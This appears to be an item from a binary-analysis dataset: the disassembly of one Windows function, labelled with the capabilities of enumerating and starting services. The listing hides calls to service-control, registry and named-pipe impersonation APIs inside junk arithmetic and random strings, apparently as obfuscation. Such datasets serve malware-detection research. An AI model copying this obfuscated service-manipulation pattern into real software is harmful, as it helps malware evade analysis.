Function at 0x10042ca0
Capabilities:
Enumerate services
Start service

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x514
mov eax, dword [0x10052010]
xor eax, ebp
mov dword [ebp + 0x70], eax
push ebx
push esi
mov dword [ebp + 0x50], 0xca90e
jmp 0x10042cc9
mov eax, dword [ebp + 0x50]
add eax, 1
mov dword [ebp + 0x50], eax
movsd xmm0, qword [0x10053560]
ucomisd xmm0, qword [0x1004ffc0]
lahf
test ah, 0x44
jp 0x10043334
cmp dword [ebp + 0x50], 0xca90f
jge 0x10043334
sub esp, 0x18
mov ecx, esp
push 0x1004f67c
call fcn.10004510
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053560]
call dword [sym.imp.OLEAUT32.dll_VarCyFromUI2]
mov dword [ebp - 0x5c], eax
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
cvttsd2si edx, qword [0x10053560]
mov dword [ebp - 0x50], edx
sub esp, 0x18
mov ecx, esp
push 0x1004f68c
call fcn.10004460
mov ecx, dword [ebp - 0x50]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
mov dword [ebp], edx
sub esp, 0x18
mov ecx, esp
push 0x1004f698
call fcn.10004510
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xfffffff4
mov ecx, esp
push 0x1004f6b0
call fcn.10004510
call dword [sym.imp.OLEAUT32.dll_VarCyFromUI2]
mov dword [ebp - 0x8c], eax
movsd xmm0, qword [0x1004fe48]
movsd qword [ebp - 0x490], xmm0
movsd xmm0, qword [0x10053560]
movsd qword [ebp - 0x4a0], xmm0
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
cvttsd2si edx, qword [0x10053560]
mov dword [ebp - 0x84], edx
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
movsd xmm1, qword [ebp - 0x490]
movsd xmm0, qword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x84]
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetUBound]
mov dword [ebp + 8], eax
mov dword [ebp + 0xc], edx
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
call fcn.1001c83f
movsd xmm1, qword [0x1004ff08]
divsd xmm1, xmm0
movsd qword [ebp - 0xbc], xmm1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
sub esp, 0x18
mov ecx, esp
push 0x1004f6d0
movsd qword [ebp - 0x2a8], xmm0
call fcn.10004460
cvttsd2si ecx, qword [0x10053568]
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
cvtsi2sd xmm0, eax
cvtsi2sd xmm1, dword [ebp - 0x8c]
mov edx, dword [ebp]
mov ecx, dword [ebp - 4]
movsd qword [ebp - 0xac], xmm0
movsd qword [ebp - 0x498], xmm1
call fcn.1001c83f
cvtsi2sd xmm1, dword [ebp - 0x5c]
movsd xmm2, qword [0x1004fdc8]
divsd xmm2, xmm1
divsd xmm2, xmm0
movsd xmm0, qword [ebp - 0x498]
divsd xmm2, xmm0
movsd xmm0, qword [ebp - 0xac]
divsd xmm2, xmm0
movsd xmm0, qword [ebp - 0x2a8]
mulsd xmm2, xmm0
movsd xmm0, qword [0x1004fe68]
subsd xmm0, xmm2
movsd xmm1, qword [ebp - 0xbc]
addsd xmm0, xmm1
movsd qword [0x10053588], xmm0
sub esp, 0x18
mov ecx, esp
push 0x1004f6e0
call fcn.10004510
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053560]
call dword [sym.imp.OLEAUT32.dll_VarCyFromUI2]
mov dword [ebp - 0x88], eax
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
cvttsd2si edx, qword [0x10053560]
mov dword [ebp + 0x30], edx
sub esp, 0x18
mov ecx, esp
push 0x1004f6f0
call fcn.10004460
mov ecx, dword [ebp + 0x30]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
sub esp, 0x18
mov ecx, esp
push 0x1004f6fc
call fcn.10004510
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xfffffff4
mov ecx, esp
push 0x1004f714
call fcn.10004510
call dword [sym.imp.OLEAUT32.dll_VarCyFromUI2]
mov dword [ebp + 0x28], eax
movsd xmm0, qword [0x1004fe48]
movsd qword [ebp - 0x3a8], xmm0
movsd xmm0, qword [0x10053560]
movsd qword [ebp - 0xcc], xmm0
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
cvttsd2si edx, qword [0x10053560]
mov dword [ebp - 0x2c], edx
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
movsd xmm1, qword [ebp - 0x3a8]
movsd xmm0, qword [ebp - 0xcc]
mov ecx, dword [ebp - 0x2c]
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetUBound]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
call fcn.1001c83f
movsd xmm1, qword [0x1004ff08]
divsd xmm1, xmm0
movsd qword [ebp - 0xec], xmm1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
sub esp, 0x18
mov ecx, esp
push 0x1004f734
movsd qword [ebp - 0x428], xmm0
call fcn.10004460
cvttsd2si ecx, qword [0x10053568]
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
cvtsi2sd xmm0, eax
cvtsi2sd xmm1, dword [ebp + 0x28]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
movsd qword [ebp - 0xdc], xmm0
movsd qword [ebp - 0x2b8], xmm1
call fcn.1001c83f
cvtsi2sd xmm1, dword [ebp - 0x88]
movsd xmm2, qword [0x1004fdc8]
divsd xmm2, xmm1
divsd xmm2, xmm0
movsd xmm0, qword [ebp - 0x2b8]
divsd xmm2, xmm0
movsd xmm0, qword [ebp - 0xdc]
divsd xmm2, xmm0
movsd xmm0, qword [ebp - 0x428]
mulsd xmm2, xmm0
movsd xmm0, qword [0x1004fea8]
subsd xmm0, xmm2
movsd xmm1, qword [ebp - 0xec]
addsd xmm0, xmm1
movsd qword [0x10053588], xmm0
sub esp, 0x18
mov ecx, esp
push str.vemleuz
call fcn.10004510
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053560]
call dword [sym.imp.OLEAUT32.dll_VarCyFromUI2]
mov dword [ebp - 0x68], eax
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
cvttsd2si edx, qword [0x10053560]
mov dword [ebp + 0x20], edx
sub esp, 0x18
mov ecx, esp
push str.ujmisdii
call fcn.10004460
mov ecx, dword [ebp + 0x20]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
sub esp, 0x18
mov ecx, esp
push str.hykyodkabye
call fcn.10004510
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xfffffff4
mov ecx, esp
push str.cautqomtygijinl
call fcn.10004510
call dword [sym.imp.OLEAUT32.dll_VarCyFromUI2]
mov dword [ebp + 0x18], eax
movsd xmm0, qword [0x1004fe48]
movsd qword [ebp - 0x2c8], xmm0
movsd xmm0, qword [0x10053560]
movsd qword [ebp - 0xfc], xmm0
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
cvttsd2si edx, qword [0x10053560]
mov dword [ebp - 0x38], edx
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
movsd xmm1, qword [ebp - 0x2c8]
movsd xmm0, qword [ebp - 0xfc]
mov ecx, dword [ebp - 0x38]
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetUBound]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
call fcn.1001c83f
movsd xmm1, qword [0x1004ff08]
divsd xmm1, xmm0
movsd qword [ebp - 0x11c], xmm1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
sub esp, 0x18
mov ecx, esp
push str.ohyopuzruemuven
movsd qword [ebp - 0x2d8], xmm0
call fcn.10004460
cvttsd2si ecx, qword [0x10053568]
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
cvtsi2sd xmm0, eax
cvtsi2sd xmm1, dword [ebp + 0x18]
mov edx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
movsd qword [ebp - 0x10c], xmm0
movsd qword [ebp - 0x3b8], xmm1
call fcn.1001c83f
cvtsi2sd xmm1, dword [ebp - 0x68]
movsd xmm2, qword [0x1004fdc8]
divsd xmm2, xmm1
divsd xmm2, xmm0
movsd xmm0, qword [ebp - 0x3b8]
divsd xmm2, xmm0
movsd xmm0, qword [ebp - 0x10c]
divsd xmm2, xmm0
movsd xmm0, qword [ebp - 0x2d8]
mulsd xmm2, xmm0
movsd xmm0, qword [0x1004ff50]
subsd xmm0, xmm2
movsd xmm1, qword [ebp - 0x11c]
addsd xmm0, xmm1
movsd qword [0x10053560], xmm0
jmp 0x10042cc0
mov ecx, dword [ebp + 0x7c]
call fcn.10004790
mov dword [ebp + 0x40], eax
mov ecx, dword [ebp + 0x7c]
call fcn.10004c80
mov dword [ebp + 0x58], eax
mov dword [ebp + 0x44], 0
mov dword [ebp + 0x48], 0
mov dword [ebp + 0x4c], 0
push 0x10
mov edx, dword [ebp + 0x40]
push edx
lea eax, [ebp + 0x60]
push eax
call fcn.1001c870
add esp, 0xc
mov ecx, dword [ebp + 0x58]
sub ecx, 0x10
mov dword [ebp + 0x58], ecx
mov dword [ebp + 0x54], 0x58fb6
jmp 0x1004338c
mov edx, dword [ebp + 0x54]
add edx, 1
mov dword [ebp + 0x54], edx
movsd xmm0, qword [0x10053588]
ucomisd xmm0, qword [0x1004ffc8]
lahf
test ah, 0x44
jp 0x10043ea7
cmp dword [ebp + 0x54], 0x58fb7
jge 0x10043ea7
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 4
movsd xmm0, qword [0x10053568]
movsd qword [esp], xmm0
sub esp, 8
movsd xmm0, qword [0x1004fd40]
movsd qword [esp], xmm0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroyDescriptor]
fstp qword [ebp - 0x15c]
sub esp, 8
movsd xmm0, qword [0x10053588]
movsd qword [esp], xmm0
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetUBound]
mov dword [ebp - 0x80], eax
push 0
push 0x282ee38f
sub esp, 0x18
mov ecx, esp
push 0x1004f7a8
call fcn.10004510
sub esp, 8
movsd xmm0, qword [0x10053568]
movsd qword [esp], xmm0
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov dword [ebp + 4], eax
sub esp, 0x18
mov ecx, esp
push 0x1004f7bc
call fcn.10004510
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
push edx
push eax
sub esp, 0x18
mov ecx, esp
push 0x1004f7d4
call fcn.10004510
call dword [sym.imp.OLEAUT32.dll_VarDateFromUI4]
mov dword [ebp - 0x44], eax
push 0
push 0x25de1af
sub esp, 8
movsd xmm0, qword [0x1004fd58]
movsd qword [esp], xmm0
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
push edx
push eax
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
push 0x5222e45
call dword [sym.imp.OLEAUT32.dll_VarI2FromUI4]
add esp, 0x34
fstp qword [ebp - 0x468]
sub esp, 8
movsd xmm0, qword [0x10053560]
movsd qword [esp], xmm0
sub esp, 8
movsd xmm0, qword [0x1004ff48]
movsd qword [esp], xmm0
sub esp, 0x18
mov ecx, esp
push 0x1004f808
call fcn.10004510
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov dword [ebp + 0x10], eax
cvtsi2sd xmm0, dword [ebp + 0x10]
sub esp, 0x18
mov ecx, esp
push 0x1004f800
movsd qword [ebp - 0x12c], xmm0
call fcn.10004460
sub esp, 8
movsd xmm0, qword [0x1004ff38]
movsd qword [esp], xmm0
sub esp, 8
movsd xmm0, qword [0x1004fd80]
movsd qword [esp], xmm0
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [0x1004fd90]
mulsd xmm1, qword [ebp - 0x468]
mulsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x12c]
mulsd xmm1, xmm0
sub esp, 0x18
mov ecx, esp
push 0x1004f7f0
movsd qword [ebp - 0x438], xmm1
call fcn.10004460
call dword [sym.imp.OLEAUT32.dll_VarR8FromUI2]
cvtsi2sd xmm0, eax
cvtsi2sd xmm1, dword [ebp - 0x44]
cvtsi2sd xmm2, dword [ebp + 4]
movsd qword [ebp - 0x2f8], xmm0
movsd xmm0, qword [0x10053588]
movsd qword [ebp - 0x14c], xmm1
movsd qword [ebp - 0x3c8], xmm2
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
push edx
push eax
sub esp, 8
movsd xmm0, qword [0x10053588]
movsd qword [esp], xmm0
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
fstp qword [ebp - 0x2e8]
movsd xmm0, qword [ebp - 0x2e8]
movsd qword [ebp - 0x13c], xmm0
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
cvttsd2si edx, qword [0x10053568]
push edx
cvttsd2si eax, qword [0x10053568]
push eax
sub esp, 8
movsd xmm0, qword [0x1004fe30]
movsd qword [esp], xmm0
push 0x3732bbad
call dword [sym.imp.OLEAUT32.dll_VarDateFromR4]
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [0x1004fd98]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x13c]
mulsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x3c8]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x14c]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x2f8]
divsd xmm1, xmm0
cvtsi2sd xmm0, dword [ebp - 0x80]
movsd xmm2, qword [0x1004fd70]
divsd xmm2, qword [ebp - 0x15c]
divsd xmm2, xmm0
movsd xmm0, qword [0x1004fec0]
subsd xmm0, xmm2
subsd xmm0, xmm1
movsd xmm1, qword [ebp - 0x438]
subsd xmm0, xmm1
movsd qword [0x10053588], xmm0
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 4
movsd xmm0, qword [0x10053568]
movsd qword [esp], xmm0
sub esp, 8
movsd xmm0, qword [0x1004fd40]
movsd qword [esp], xmm0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroyDescriptor]
fstp qword [ebp - 0x488]
sub esp, 8
movsd xmm0, qword [0x10053588]
movsd qword [esp], xmm0
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetUBound]
mov dword [ebp - 0x74], eax
push 0
push 0x282ee38f
sub esp, 0x18
mov ecx, esp
push 0x1004f814
call fcn.10004510
sub esp, 8
movsd xmm0, qword [0x10053568]
movsd qword [esp], xmm0
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov dword [ebp - 0x14], eax
sub esp, 0x18
mov ecx, esp
push 0x1004f828
call fcn.10004510
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
push edx
push eax
sub esp, 0x18
mov ecx, esp
push 0x1004f840
call fcn.10004510
call dword [sym.imp.OLEAUT32.dll_VarDateFromUI4]
mov dword [ebp + 0x3c], eax
push 0
push 0x25de1af
sub esp, 8
movsd xmm0, qword [0x1004fd58]
movsd qword [esp], xmm0
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
push edx
push eax
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
push 0x5222e45
call dword [sym.imp.OLEAUT32.dll_VarI2FromUI4]
add esp, 0x34
fstp qword [ebp - 0x16c]
sub esp, 8
movsd xmm0, qword [0x10053560]
movsd qword [esp], xmm0
sub esp, 8
movsd xmm0, qword [0x1004ff48]
movsd qword [esp], xmm0
sub esp, 0x18
mov ecx, esp
push 0x1004f874
call fcn.10004510
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov dword [ebp - 8], eax
cvtsi2sd xmm0, dword [ebp - 8]
sub esp, 0x18
mov ecx, esp
push 0x1004f86c
movsd qword [ebp - 0x308], xmm0
call fcn.10004460
sub esp, 8
movsd xmm0, qword [0x1004ff38]
movsd qword [esp], xmm0
sub esp, 8
movsd xmm0, qword [0x1004fd80]
movsd qword [esp], xmm0
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [0x1004fd90]
mulsd xmm1, qword [ebp - 0x16c]
mulsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x308]
mulsd xmm1, xmm0
sub esp, 0x18
mov ecx, esp
push 0x1004f85c
movsd qword [ebp - 0x1ac], xmm1
call fcn.10004460
call dword [sym.imp.OLEAUT32.dll_VarR8FromUI2]
cvtsi2sd xmm0, eax
cvtsi2sd xmm1, dword [ebp + 0x3c]
cvtsi2sd xmm2, dword [ebp - 0x14]
movsd qword [ebp - 0x19c], xmm0
movsd xmm0, qword [0x10053588]
movsd qword [ebp - 0x318], xmm1
movsd qword [ebp - 0x18c], xmm2
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
push edx
push eax
sub esp, 8
movsd xmm0, qword [0x10053588]
movsd qword [esp], xmm0
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
fstp qword [ebp - 0x17c]
movsd xmm0, qword [ebp - 0x17c]
movsd qword [ebp - 0x3d8], xmm0
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
cvttsd2si edx, qword [0x10053568]
push edx
cvttsd2si eax, qword [0x10053568]
push eax
sub esp, 8
movsd xmm0, qword [0x1004fe30]
movsd qword [esp], xmm0
push 0x3732bbad
call dword [sym.imp.OLEAUT32.dll_VarDateFromR4]
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [0x1004fd98]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x3d8]
mulsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x18c]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x318]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x19c]
divsd xmm1, xmm0
cvtsi2sd xmm0, dword [ebp - 0x74]
movsd xmm2, qword [0x1004fd70]
divsd xmm2, qword [ebp - 0x488]
divsd xmm2, xmm0
movsd xmm0, qword [0x1004fcc8]
subsd xmm0, xmm2
subsd xmm0, xmm1
movsd xmm1, qword [ebp - 0x1ac]
subsd xmm0, xmm1
movsd qword [0x10053588], xmm0
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 4
movsd xmm0, qword [0x10053568]
movsd qword [esp], xmm0
sub esp, 8
movsd xmm0, qword [0x1004fd40]
movsd qword [esp], xmm0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroyDescriptor]
fstp qword [ebp - 0x94]
sub esp, 8
movsd xmm0, qword [0x10053588]
movsd qword [esp], xmm0
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetUBound]
mov dword [ebp + 0x2c], eax
push 0
push 0x282ee38f
sub esp, 0x18
mov ecx, esp
push str.otacetof
call fcn.10004510
sub esp, 8
movsd xmm0, qword [0x10053568]
movsd qword [esp], xmm0
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov dword [ebp + 0x34], eax
sub esp, 0x18
mov ecx, esp
push str.ecquvibgeo
call fcn.10004510
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
push edx
push eax
sub esp, 0x18
mov ecx, esp
push str.Oqapyvyepqou
call fcn.10004510
call dword [sym.imp.OLEAUT32.dll_VarDateFromUI4]
mov dword [ebp + 0x38], eax
push 0
push 0x25de1af
sub esp, 8
movsd xmm0, qword [0x1004fd58]
movsd qword [esp], xmm0
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
push edx
push eax
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
push 0x5222e45
call dword [sym.imp.OLEAUT32.dll_VarI2FromUI4]
add esp, 0x34
fstp qword [ebp - 0x328]
sub esp, 8
movsd xmm0, qword [0x10053560]
movsd qword [esp], xmm0
sub esp, 8
movsd xmm0, qword [0x1004ff48]
movsd qword [esp], xmm0
sub esp, 0x18
mov ecx, esp
push str.ofya
call fcn.10004510
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov dword [ebp - 0x20], eax
cvtsi2sd xmm0, dword [ebp - 0x20]
sub esp, 0x18
mov ecx, esp
push str.Ovyis
movsd qword [ebp - 0x1bc], xmm0
call fcn.10004460
sub esp, 8
movsd xmm0, qword [0x1004ff38]
movsd qword [esp], xmm0
sub esp, 8
movsd xmm0, qword [0x1004fd80]
movsd qword [esp], xmm0
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [0x1004fd90]
mulsd xmm1, qword [ebp - 0x328]
mulsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x1bc]
mulsd xmm1, xmm0
sub esp, 0x18
mov ecx, esp
push str.rijyjiguphokyka
movsd qword [ebp - 0x348], xmm1
call fcn.10004460
call dword [sym.imp.OLEAUT32.dll_VarR8FromUI2]
cvtsi2sd xmm0, eax
cvtsi2sd xmm1, dword [ebp + 0x38]
cvtsi2sd xmm2, dword [ebp + 0x34]
movsd qword [ebp - 0x448], xmm0
movsd xmm0, qword [0x10053588]
movsd qword [ebp - 0x1dc], xmm1
movsd qword [ebp - 0x338], xmm2
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
push edx
push eax
sub esp, 8
movsd xmm0, qword [0x10053588]
movsd qword [esp], xmm0
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
fstp qword [ebp - 0x3e8]
movsd xmm0, qword [ebp - 0x3e8]
movsd qword [ebp - 0x1cc], xmm0
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
cvttsd2si edx, qword [0x10053568]
push edx
cvttsd2si eax, qword [0x10053568]
push eax
sub esp, 8
movsd xmm0, qword [0x1004fe30]
movsd qword [esp], xmm0
push 0x3732bbad
call dword [sym.imp.OLEAUT32.dll_VarDateFromR4]
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [0x1004fd98]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x1cc]
mulsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x338]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x1dc]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x448]
divsd xmm1, xmm0
cvtsi2sd xmm0, dword [ebp + 0x2c]
movsd xmm2, qword [0x1004fd70]
divsd xmm2, qword [ebp - 0x94]
divsd xmm2, xmm0
movsd xmm0, qword [0x1004fde0]
subsd xmm0, xmm2
subsd xmm0, xmm1
movsd xmm1, qword [ebp - 0x348]
subsd xmm0, xmm1
movsd qword [0x10053568], xmm0
jmp 0x10043383
mov ecx, dword [ebp + 0x58]
push ecx
lea ecx, [ebp + 0x44]
call fcn.10006c90
mov edx, dword [ebp + 0x58]
push edx
mov eax, dword [ebp + 0x40]
add eax, 0x10
push eax
mov ecx, dword [ebp + 0x44]
push ecx
call fcn.1001c870
add esp, 0xc
mov edx, dword [ebp + 0x48]
sub edx, dword [ebp + 0x44]
push edx
mov ecx, dword [ebp + 0x7c]
call fcn.100046f0
movsd xmm0, qword [0x10053560]
ucomisd xmm0, qword [0x1004ffe0]
lahf
test ah, 0x44
jp 0x10044e22
sub esp, 0x18
mov ecx, esp
push 0x1004f904
call fcn.10004510
sub esp, 0x18
mov ecx, esp
push 0x1004f918
call fcn.10004510
cvttsd2si ecx, qword [0x10053560]
movsd xmm0, qword [0x1004fdc0]
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
movsd qword [ebp - 0x248], xmm0
sub esp, 8
movsd xmm0, qword [0x10053588]
movsd qword [esp], xmm0
push 0x38ae2709
sub esp, 0x18
mov ecx, esp
push 0x1004f920
call fcn.10004460
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
add esp, 0x24
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
push edx
push eax
sub esp, 8
movsd xmm0, qword [0x10053588]
movsd qword [esp], xmm0
sub esp, 8
movsd xmm0, qword [0x10053560]
movsd qword [esp], xmm0
cvttsd2si eax, qword [0x10053588]
push eax
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
call dword [sym.imp.OLEAUT32.dll_LHashValOfNameSysA]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
sub esp, 0x18
mov ecx, esp
push 0x1004f930
call fcn.10004460
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xfffffff4
mov ecx, esp
push 0x1004f940
call fcn.10004460
cvttsd2si ecx, qword [0x10053560]
